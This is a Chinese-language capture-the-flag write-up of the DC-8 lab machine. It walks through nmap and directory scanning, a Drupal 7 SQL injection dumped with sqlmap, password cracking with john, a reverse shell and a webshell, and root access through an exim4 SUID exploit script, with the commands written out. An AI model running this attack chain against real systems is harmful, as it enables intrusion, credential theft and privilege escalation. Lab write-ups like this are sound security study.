信息收集
- 扫描ip和端口:通过nmap扫描ip和端口发现:ip为192.168.6.152,开放端口号为80和22
- 扫描目录:dirb和desearch,发现了疑似登录界面
- 查看框架:Drupal 7
- 漏洞扫描:searchsploit Drupal7,发现有可利用的漏洞(“Drupalgeddon” SQL注入漏洞)
- 浏览网站:由上一步可以得知存在sql注入,那么需要寻找注入点,点击该网站多个页面之后发现在welcome to DC-8页面由get传参合理怀疑存在存在注入点,于是直接在nid=1后面加一个单引号,发现报错,且在输入1 and 1=1和1 and 1=2时的返回结果不同确定是数字型
漏洞利用
- sqlmap实现注入:
- sqlmap -u "http://192.168.6.152/?nid=1" --dbs --batch;
- sqlmap -u "http://192.168.6.152/?nid=1" -D d7db --tables --batch;
- qlmap -u "http://192.168.6.152/?nid=1" -D d7db -T users --columns --batch;
- sqlmap -u "http://192.168.6.152/?nid=1" -D d7db -T users -C name,pass,uid --dump
- 得到用户名和密码两个
- 对密码进行解密:john 1.txt,解出john的密码为turtle
反弹shell
- 第一反应想到的是最开始的22端口先试试能不能直接远程登录,结果不行
- 在信息收集的时候有个user界面,试试在此处登录,登录成功
- 找到可以上传代码的地方,并保存
- 点击提交在此之前开启监听
- 反弹成功,开启交互python -c 'import pty;pty.spawn("/bin/bash")'
反弹shell(二)
- 利用蚂蚁剑在Detail出写下一句话小马
- 蚁剑链接http:192.168.6.128/node/3/done,输入密码即可
提权
- 找有sudo权限的文件(查找权限find / -perm /4000 2>/dev/null也可以),发现了一个exim4文件(整数溢出漏洞用\n绕过)
find / -perm -u=s -type f 2>/dev/null
- 查看版本信息:exim4 --version
- 搜索该漏洞,发现了一个.sh文件可能可以利用,将该文件上传到靶机tmp目录下(因为它的html用不了不知道为啥)
- 对其赋权chmod 777 exim.sh
- ./exim.sh -m netcat(读了该sh文件发现里面对执行该命令有提示限定需要加后面的参数)
- 提权成功(有时间限制)
总结:
- 还是根据Drupal 7寻找漏洞,发现是sql注入,然后找到注入点再用sqlmap来跑
- 依旧用find命令来找suid权限的命令,find / -perm -u=s -type f 2>/dev/null
- 找到了sh文件后需要对其赋权
- 还是用到了john解密
- 看到一个漏洞的第一反应是找它的版本漏洞
- 在靶机中下载文件的时候如果var/www/html文件无法下载的时候可以尝试下载到/tmp文件
- 关于软链接 ls -s 源文件 目的文件 rm -rf +文件路径(删除软连接),其作用在没有一些权限的时候实现文件移动和使用(https://blog.csdn.net/sunhuaqiang1/article/details/88354515)
- usr/bin和usr/sbin的区别:后者的s可能是sudo的意思,大概是权限高于前者(https://blog.csdn.net/weixin_30878111/article/details/116734537)
- Exim存在整数溢出漏洞,该漏洞源于receive_msg 函数,在未经身份验证的情况下,攻击者可以通过“\n”绕过Exim对邮件头大小的限制,从而造成整数溢出。